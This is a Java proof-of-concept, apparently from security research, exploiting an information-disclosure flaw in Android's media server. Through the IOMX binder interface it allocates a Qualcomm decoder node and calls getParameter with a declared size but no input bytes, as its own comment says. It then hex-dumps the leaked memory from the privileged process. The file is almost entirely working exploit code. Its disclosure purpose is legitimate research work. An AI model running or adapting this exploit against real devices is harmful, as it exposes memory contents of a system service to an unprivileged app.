package com.example.forshaw.servicetest; import android.content.Context; import android.os.Binder; import android.os.IBinder; import android.os.Parcel; import android.os.ParcelFileDescriptor; import android.os.RemoteException; import android.util.Log; import java.io.FileDescriptor; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.PrintWriter; import java.io.StringWriter; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.nio.IntBuffer; import java.util.Arrays; /** * Created by forshaw on 01/02/2016. */ public class OMXInfoDisclosurePoC { static void log(String logString) { Log.e("MyClass", logString); } static String getStackTrack() { try { throw new Throwable(); } catch(Throwable t) { StringWriter writer = new StringWriter(); PrintWriter pw = new PrintWriter(writer); t.printStackTrace(pw); return writer.toString(); } } static class MediaPlayerServiceOps { static int CREATE = IBinder.FIRST_CALL_TRANSACTION; static int CREATE_MEDIA_RECORDER = CREATE + 1; static int CREATE_METADATA_RETRIEVER = CREATE_MEDIA_RECORDER + 1; static int GET_OMX = CREATE_METADATA_RETRIEVER + 1; static int MAKE_CRYPTO = GET_OMX + 1; static int MAKE_DRM = MAKE_CRYPTO + 1; static int MAKE_HDCP = MAKE_DRM + 1; static int ADD_BATTERY_DATA = MAKE_HDCP + 1; static int PULL_BATTERY_DATA = ADD_BATTERY_DATA + 1; static int LISTEN_FOR_REMOTE_DISPLAY = PULL_BATTERY_DATA + 1; static int GET_CODEC_LIST = LISTEN_FOR_REMOTE_DISPLAY + 1; } static int kMode_Unencrypted = 0; static int kMode_AES_CTR = 1; static int kMode_AES_WV = 2; static int kMode_AES_CBC = 3; static class SubSample { int mNumBytesOfClearData; int mNumBytesOfEncryptedData; public SubSample(int clearData, int encryptedData) { mNumBytesOfClearData = clearData; mNumBytesOfEncryptedData = encryptedData; } public SubSample() { this(0, 0); } } static int[] convertBytesToInts(byte[] byteArray) { IntBuffer intBuf = ByteBuffer.wrap(byteArray) .order(ByteOrder.LITTLE_ENDIAN) .asIntBuffer(); int[] array = new int[intBuf.remaining()]; intBuf.get(array); return array; } static void writeRawBytes(Parcel data, byte[] bytes) { int len = bytes.length; if ((len & 3) != 0) { bytes = Arrays.copyOf(bytes, (len + 3) & ~3); } for (int i : convertBytesToInts(bytes)) { data.writeInt(i); } } static byte[] convertIntToBytes(int i) { ByteBuffer byteBuffer = ByteBuffer.allocate(4); byteBuffer.order(ByteOrder.LITTLE_ENDIAN); byteBuffer.putInt(0, i); byte[] ret = new byte[4]; byteBuffer.get(ret); return ret; } static String readCString(Parcel data) { StringBuilder builder = new StringBuilder(); while(data.dataAvail() >= 4) { int len = 0; byte[] bytes = convertIntToBytes(data.readInt()); for(len = 0; len < 4; ++len) { if (bytes[len] == 0) { break; } } builder.append(new String(bytes, 0, len)); if (len < 4) { break; } } return builder.toString(); } static String readString8(Parcel data) { int length = data.readInt(); return new String(readRawBytes(data, length)); } static void writeCString(Parcel data, String str) { writeRawBytes(data, (str + "\0").getBytes()); } static byte[] readRawBytes(Parcel data, int length) { int read_len = (length + 3) & ~3; byte[] ret = new byte[length]; ByteBuffer byteBuffer = ByteBuffer.allocate(read_len); byteBuffer.order(ByteOrder.LITTLE_ENDIAN); for(int i = 0; i < read_len / 4; ++i) { byteBuffer.putInt(data.readInt()); } byteBuffer.position(0); byteBuffer.get(ret, 0, length); return ret; } static String dumpHex(byte[] bytes) { StringBuilder builder = new StringBuilder(); for(byte b : bytes) { builder.append(String.format("%02X", b & 0xFF)); } return builder.toString(); } static IBinder getService(String service) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class c = Class.forName("android.os.ServiceManager"); Method m = c.getMethod("getService", String.class); return (IBinder)m.invoke(null, service); } static class IOMXObserverStub extends Binder { static final int OBSERVER_ON_MSG = IBinder.FIRST_CALL_TRANSACTION; static final String DESCRIPTOR = "android.hardware.IOMXObserver"; @Override public boolean onTransact(int code, android.os.Parcel data, android.os.Parcel reply, int flags) throws android.os.RemoteException { log("onTransact IOMXObserver: " + code); switch (code) { case INTERFACE_TRANSACTION: { reply.writeString(DESCRIPTOR); return true; } case OBSERVER_ON_MSG: { data.enforceInterface(DESCRIPTOR); log("In OBSERVER_ON_MSG: " + getStackTrack()); reply.writeNoException(); return true; } } return super.onTransact(code, data, reply, flags); } } static class IOMXProxy { static final int CONNECT = IBinder.FIRST_CALL_TRANSACTION; static final int LIVES_LOCALLY = CONNECT+1; static final int LIST_NODES = LIVES_LOCALLY+1; static final int ALLOCATE_NODE = LIST_NODES+1; static final int FREE_NODE = ALLOCATE_NODE+1; static final int SEND_COMMAND = FREE_NODE+1; static final int GET_PARAMETER = SEND_COMMAND+1; static final int SET_PARAMETER = GET_PARAMETER+1; static final int GET_CONFIG = SET_PARAMETER+1; static final int SET_CONFIG = GET_CONFIG+1; static final int GET_STATE = SET_CONFIG+1; static final int ENABLE_GRAPHIC_BUFFERS = GET_STATE+1; static final int USE_BUFFER = ENABLE_GRAPHIC_BUFFERS+1; static final int USE_GRAPHIC_BUFFER = USE_BUFFER+1; static final int CREATE_INPUT_SURFACE = USE_GRAPHIC_BUFFER+1; static final int CREATE_PERSISTENT_INPUT_SURFACE = CREATE_INPUT_SURFACE+1; static final int SET_INPUT_SURFACE = CREATE_PERSISTENT_INPUT_SURFACE+1; static final int SIGNAL_END_OF_INPUT_STREAM = SET_INPUT_SURFACE+1; static final int STORE_META_DATA_IN_BUFFERS = SIGNAL_END_OF_INPUT_STREAM+1; static final int PREPARE_FOR_ADAPTIVE_PLAYBACK = STORE_META_DATA_IN_BUFFERS+1; static final int ALLOC_BUFFER = PREPARE_FOR_ADAPTIVE_PLAYBACK+1; static final int ALLOC_BUFFER_WITH_BACKUP = ALLOC_BUFFER+1; static final int FREE_BUFFER = ALLOC_BUFFER_WITH_BACKUP+1; static final int FILL_BUFFER = FREE_BUFFER+1; static final int EMPTY_BUFFER = FILL_BUFFER+1; static final int GET_EXTENSION_INDEX = EMPTY_BUFFER+1; static final int OBSERVER_ON_MSG = GET_EXTENSION_INDEX+1; static final int GET_GRAPHIC_BUFFER_USAGE = OBSERVER_ON_MSG+1; static final int SET_INTERNAL_OPTION = GET_GRAPHIC_BUFFER_USAGE+1; static final int UPDATE_GRAPHIC_BUFFER_IN_META = SET_INTERNAL_OPTION+1; static final int CONFIGURE_VIDEO_TUNNEL_MODE = UPDATE_GRAPHIC_BUFFER_IN_META+1; static final String DESCRIPTOR = "android.hardware.IOMX"; private IBinder mBinder; public IOMXProxy(IBinder binder) { mBinder = binder; } public int allocateNode(String name, IOMXObserverStub observer) throws RemoteException { Parcel data = Parcel.obtain(); Parcel reply = Parcel.obtain(); data.writeInterfaceToken(DESCRIPTOR); writeCString(data, name); data.writeStrongBinder(observer); mBinder.transact(ALLOCATE_NODE, data, reply, 0); int err = reply.readInt(); log("allocateNode Error: " + Integer.toHexString(err)); if (err == 0) return reply.readInt(); return -1; } public int freeBuffer(int node, int port, int buffer) throws RemoteException { Parcel data = Parcel.obtain(); Parcel reply = Parcel.obtain(); data.writeInterfaceToken(DESCRIPTOR); data.writeInt(node); data.writeInt(port); data.writeInt(buffer); mBinder.transact(FREE_BUFFER, data, reply, 0); return reply.readInt(); } public class NodeInfo { public String[] roles; public String name; public NodeInfo(Parcel data) { name = readString8(data); int num_roles = data.readInt(); roles = new String[num_roles]; for (int i = 0; i < num_roles; ++i) { roles[i] = readString8(data); } } } public NodeInfo[] listNodes() throws RemoteException { Parcel data = Parcel.obtain(); Parcel reply = Parcel.obtain(); data.writeInterfaceToken(DESCRIPTOR); mBinder.transact(LIST_NODES, data, reply, 0); int n = reply.readInt(); NodeInfo[] nodes = new NodeInfo[n]; for (int i = 0; i < n; ++i) { nodes[i] = new NodeInfo(data); } return nodes; } public int getParameter(int node, int index, byte[] buffer) throws RemoteException { Parcel data = Parcel.obtain(); Parcel reply = Parcel.obtain(); data.writeInterfaceToken(DESCRIPTOR); data.writeInt(node); data.writeInt(index); data.writeLong(buffer.length); // Don't write out the actual bytes //writeRawBytes(data, buffer); mBinder.transact(GET_PARAMETER, data, reply, 0); int err = reply.readInt(); if (err == 0) { byte[] retdata = readRawBytes(reply, buffer.length); for (int i = 0; i < buffer.length; ++i) { buffer[i] = retdata[i]; } } return err; } public int getConfig(int node, int index, byte[] buffer) throws RemoteException { Parcel data = Parcel.obtain(); Parcel reply = Parcel.obtain(); data.writeInterfaceToken(DESCRIPTOR); data.writeInt(node); data.writeInt(index); data.writeLong(buffer.length); writeRawBytes(data, buffer); mBinder.transact(GET_CONFIG, data, reply, 0); int err = reply.readInt(); if (err == 0) { byte[] retdata = readRawBytes(reply, buffer.length); for (int i = 0; i < buffer.length; ++i) { buffer[i] = retdata[i]; } } return err; } } public static void testOMX(Context ctx) throws Throwable { IBinder serviceBinder = getService("media.player"); log(serviceBinder.getInterfaceDescriptor()); Parcel data = Parcel.obtain(); Parcel reply = Parcel.obtain(); data.writeInterfaceToken("android.media.IMediaPlayerService"); serviceBinder.transact(MediaPlayerServiceOps.GET_OMX, data, reply, 0); IBinder omx = reply.readStrongBinder(); log(omx.getInterfaceDescriptor()); IOMXProxy omxproxy = new IOMXProxy(omx); IOMXObserverStub observer = new IOMXObserverStub(); int node = omxproxy.allocateNode("OMX.qcom.video.decoder.mpeg4", observer); log("Allocate Node: " + node); if (node > 0) { final int OMX_IndexParamPriorityMgmt = 0x01000000+1; byte[] buffer = new byte[64]; Arrays.fill(buffer, (byte) 0x7F); int result = omxproxy.getParameter(node, OMX_IndexParamPriorityMgmt, buffer); if (result == 0) log("Result: " + dumpHex(buffer)); else log("Error getting parameter: " + result); } } }